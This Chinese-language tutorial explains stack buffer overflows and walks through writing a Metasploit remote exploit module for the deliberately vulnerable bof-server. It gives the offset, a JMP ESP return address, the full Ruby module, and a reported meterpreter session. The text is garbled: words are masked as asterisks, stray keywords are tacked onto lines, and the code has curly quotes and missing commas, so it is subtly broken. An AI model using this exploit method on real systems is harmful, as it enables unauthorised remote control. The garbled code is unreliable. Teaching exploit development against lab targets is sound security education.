利用Metasploit破解棧緩存溢出漏洞的一個例子

1背景
棧緩存溢出漏洞自1988年出現至今已過去30多年了【1】,它以其危害性及普遍性早已引發了廣大信息安全領域研究人員的重視。多年以來,隨着***雙方技術的交替進步,對於此類漏洞的控制已經不像最初階段那麼無力,可是不得不說,因爲棧緩存溢出漏洞的產生根源是程序設計不嚴謹所致使,換個更直接的說法就是該漏洞的產生可認爲是人爲的編碼疏忽,所以,在將來很長的一段時間內它還將與咱們共存。本文將利用Metasploit框架開發一個針對軟件bof-server棧緩存溢出漏洞的破解模塊,以此爲例,講解此類漏洞的危害及預防措施。因爲Metasploit框架是進行***測試的優秀工具,它提供了大量的漏洞***模塊庫,集成了優秀的模塊開發環境,因此,咱們選擇它做爲本文的實驗工具。
2棧緩存溢出漏洞的原理
在微軟的定義裏,緩存溢出***是一種***者用本身的代碼覆蓋程序原有代碼的行爲,若是被覆蓋的惡意代碼是一段受***者控制的可執行代碼,那麼***者就能夠在目標系統中進行意料以外的操做。
棧是一種數據結構,棧中數據的寫入和讀取只能從棧頂進行操做,它遵循後進先出的原則。棧支持兩種操做:push和pop。push是將數據添加到棧頂。pop是將數據從棧頂彈出。讓咱們看一下C程序的內存佈局、它的內容以及它在函數調用和返回期間是如何工做的。以下圖所示:
利用Metasploit破解棧緩存溢出漏洞的一個例子
其中,Text:包含要執行的程序代碼。Data:包含程序的全局信息。Stack:包含函數參數,返回地址和函數的局部變量。它是後進先出的數據結構。隨着新函數的調用,它在內存中向下增加(從較高的地址空間到較低的地址空間)。Heap:容納全部動態分配的內存。 每當咱們使用malloc動態獲取內存時,它都是從堆中分配的。 隨着須要愈來愈多的內存,堆在內存中的增加(從低到高)。
對於基於棧的緩存溢出,咱們把注意力集中在寄存器EBP、EIP和ESP上。EBP指向堆棧底部的較高內存地址,ESP則指向堆棧頂部的較低內存位置。EIP中存儲的是下一條指令的地址。咱們主要關注EIP寄存器,由於咱們須要劫持程序的執行順序。因爲EIP只是一個寄存器,因此咱們沒法爲其分配要執行指令的內存地址。
利用Metasploit破解棧緩存溢出漏洞的一個例子
當函數執行時,一個包含有函數信息的棧幀(stack frame)會被壓入棧中。一旦函數執行完畢,棧幀會被彈出棧,函數完成執行後,將從棧中彈出相關的棧幀,並在中斷的調用的函數中繼續執行。CPU知道必須從何處繼續執行程序,它是從調用函數時壓入棧的返回地址得到此信息。
爲了方便理解,咱們舉一個例子:在主函數中調用func()。所以,當程序開始時,將調用main(),併爲其分配一個棧幀並將其壓入棧。接下來main()調用func(),一樣是分配棧幀,將其壓入棧並將執行移交給func(),main()經過將這個值(返回地址)壓入棧,來指出當func()返回(一般是在調用func()以後的代碼行)時,須要繼續執行的地方。
利用Metasploit破解棧緩存溢出漏洞的一個例子
在func()函數執行完後,它的棧幀被彈出,其中存儲的返回地址被加載到EIP寄存器中,繼續執行main()。若是咱們可以控制返回地址,咱們就能在func()返回時劫持將要執行的指令。程序員

3***思路
首先,咱們下載並運行bof-server。能夠看到這個程序在端口200上提供TCP服務。以下圖所示:
利用Metasploit破解棧緩存溢出漏洞的一個例子
而後,咱們向TCP 200端口發起TELNET鏈接,創建鏈接後向其發送若干隨機數據。以下圖所示:
利用Metasploit破解棧緩存溢出漏洞的一個例子
咱們發現,當提供必定數量的隨機數據以後,鏈接就斷開了,這是由於目標服務器已經崩潰。來看一看目標服務器上的報錯信息。以下圖所示:
利用Metasploit破解棧緩存溢出漏洞的一個例子
點擊「click here」,查看詳細狀況,發現程序是因爲沒法在地址41414141處找到下一條要執行的指令,從而致使了程序的崩潰。由於咱們隨機輸入的是若干個字母A,而值41就是字母A的十六進制表示,這說明咱們輸入的數據已經超出了緩存的範圍,並且覆蓋了EIP寄存器。接下來,程序試圖執行41414141這個地址上指令,顯然這不是一個有效的地址,所以,程序崩潰了。
因爲咱們的輸入數據超出了程序棧的緩存範圍,引起了程序的棧緩存溢出漏洞,致使程序崩潰。若是咱們控制好輸入的數據,使得覆蓋EIP寄存器的內容剛好是咱們想要執行的代碼地址,那麼咱們就控制了服務器,從而完成了漏洞利用。web

4***的步驟
根據上一節的思路,咱們將利用Metasploit框架開發一個破解模塊,觸發漏洞並運行咱們想要執行的其它代碼。
模塊開發的第一個步驟是找出偏移量,在這個過程當中將用到Metasploit中的兩款工具,分別是pattern_create和pattern_offset。工具pattern_create用來按必定規律生成字符,例如:#./pattern_create.rb 1000,表示生成1000個字符。將這些字符發送給目標服務器後若是程序崩潰,就能獲得一個地址的值,咱們獲得的地址值是72413372,將該值做爲參數,使用工具pattern_offset就能獲得具體的偏移量,例如:#./pattern_offset.rb 72413372 1000,表示EIP中的地址爲72413372,填充1000個字符。最後,咱們得出的偏移量是520,在520個字節後面的4個字節的數據就會覆蓋EIP寄存器。
接下來,咱們還將使用Metasploit中的另外一個工具msfpescan來找到程序中JMP ESP指令的地址,在這裏咱們利用bof-server程序調用的一個DLL文件ws2_32.dll。命令以下:#./msfpescan -j esp -f /root/Desktop/ws2_32.dll,參數-j後面的是寄存器名,這裏用到的寄存器是ESP,返回結果爲0x71ab9372,這是ws2_32.dll文件中JMP ESP指令的地址。只須要用這個地址來重寫
EIP寄存器中的內容,就能夠執行咱們的代碼。
到目前爲止,咱們已經掌握了開發Metasploit程序破解模塊的主要內容,讓咱們看看代碼代碼是怎樣的。以下所示:
require ‘msf/core’shell

class Metasploit3<Msf::Exploit::Remote
Rank = NormalRankingwindows

include Msf::Exploit::Remote::Tcp

def initialize(info = {})
    super(update_info(info,
        ‘Name’ =>’Stack Based Buffer Overflow Example’,
        ‘Description’ => %q{
    Stack Based Overflow Example Application Exploitation Module

},
‘Platform’ => ‘win’,
‘Author’ =>
[
‘Nipun Jaswal’
]
‘Payload’ =>
{
‘space’ => 1000,
‘BadChars’ =>」\x00\xff」,
}
‘Targets’ =>
[
[‘Windows XP SP2’,{‘Ret’ => 0x71AB9372,’Offset’ => 520}]
],
‘DisclosureDate’ => ‘Apr 19 2016’
))
register_options(
[
Opt::RPORT(200)
],self.class)
end
在分析代碼以前,咱們先看看模塊中用到的庫,請看下錶:
包含聲明 路徑 用途
Msf::Exploit::Remote::Tcp /lib/msf/core/exploit/tcp.rb 該庫提供基本的TCP函數,例如:鏈接、斷開鏈接和寫數據等。利用Metasploit破解棧緩存溢出漏洞的一個例子
破解模塊開頭就是包含各類必要的路徑和文件。咱們把模塊類型定義爲Msf::Exploit::Remote,意味着它是一個遠程破解模塊。接下來,咱們在initialize方法中定義name,description,author等基本信息。另外,咱們還看到大量的其它聲明。請看下錶:
聲明 值 用途
Platform win 定義***目標的平臺類型。win表明破解模塊在基於windows操做系統的平臺上有用。
DisclosureDate Apr 19 2016 漏洞披露的日期。
Targets Ret:0x71AB9372 特定操做系統的Ret字段定義了咱們在上一節中找到的JMP ESP地址。
Targets Offset:520 Offset字段定義在EIP以前須要填充的緩存字節數。
Payload Space:1000 space字段定義payload的最大可用空間。這很重要,由於,有時咱們只有恨少的空間用來加載shellcode。
Payload BadChars:\x00\xff BadChars變量定義了payload生成過程當中須要避免的字符。聲明壞字符的做用是保證穩定性。刪除壞字符是爲了不程序崩潰或payload不執行。利用Metasploit破解棧緩存溢出漏洞的一個例子
咱們在register_options部分還定義了破解模塊的默認端口爲200。咱們接着看剩下的代碼:
def exploit
connect
buf = make_nops(target[‘Offset’])
buf = buf + [target[‘Ret’]].pack(‘V’) + make_nops(10) + payload.encoded
sock.put(buf)
handler
disconnect
end
end
讓咱們看看上面代碼中用到的一些重要函數:
函數 庫 用途
make_nops /lib/msf/core/exploit.rb 該方法用來建立多個NOP。
Connect /lib/msf/core/exploit/tcp.rb 創建與目標的鏈接。
disconnect /lib/msf/core/exploit/tcp.rb 中斷與目標的鏈接。
handler /lib/msf/core/exploit.rb 將鏈接傳遞給相應的payload處理。利用Metasploit破解棧緩存溢出漏洞的一個例子
在咱們以前編寫的模塊中,run方法是輔助模塊的默認方法。然而,對於破解模塊而言,默認的方法是exploit。
咱們使用connect鏈接目標。使用make_nops函數創造520個NOP,這個數來自initialize函數中定義的target的Offset。把520個NOPs存儲到變量buf中。下一條指令,咱們經過從target聲明的Ret字段中獲取其值,將JMP ESP地址附加到buf。使用函數pack(‘V’),咱們獲得地址的小端格式。在Ret地址以後,咱們附加幾個NOPs做爲ShellCode以前的填充。使用Metasploit的優勢之一是能在運行中切換payload。所以,只須要簡單的使用payload.encoded就能把當前所選的payload附加在變量buf以後。
接下來,使用函數sock.put創建與目標的鏈接,參數是buf。使用handler方法檢查目標是否被成功破解,若是成功破解則會創建鏈接。最後,用disconnect斷開鏈接。咱們來看看使用的效果:
利用Metasploit破解棧緩存溢出漏洞的一個例子
咱們設置必要的參數,payload設置爲windows/meterpreter/bind_tcp,這意味着到目標的直接鏈接。讓咱們看看使用exploit命令後會發生什麼:
利用Metasploit破解棧緩存溢出漏洞的一個例子
顯然,咱們編寫的破解模塊成功了,得到一個meterpreter會話,經過該會話能夠在目標服務器上進行非受權操做。緩存

5總結
經過上述例子,咱們發現棧緩存溢出漏洞雖然早在上個世紀八十年代就存在,但至今仍對信息系統安全有着重要的影響。爲了規避該漏洞,目前通常有幾種作法:使內存執行的堆棧部分爲非可執行文件;使用更加健壯的C和C++庫;經過編譯器保護返回地址;使用防火牆【2】等等。最理想的辦法是僱傭最好的程序員謹慎編碼,固然這自己就不是一件容易的事。所以,咱們須要對程序進行嚴格的模糊測試,下降棧緩存溢出漏洞發生的機率。安全

參考文獻:
【1】Rober Morris web site:http://pdos.csail.mit.edu/~rtm/
【2】Crispin Cowan, Perry Wagle, Calton Pu, Steve Beattie, and Jonathan Walpole, Buffer Overflows: Attacks and Defenses for the Vulnerability of the Decade, in DARPA Information Survivability Conference and Expo 2000. 服務器

相關文章
相關標籤/搜索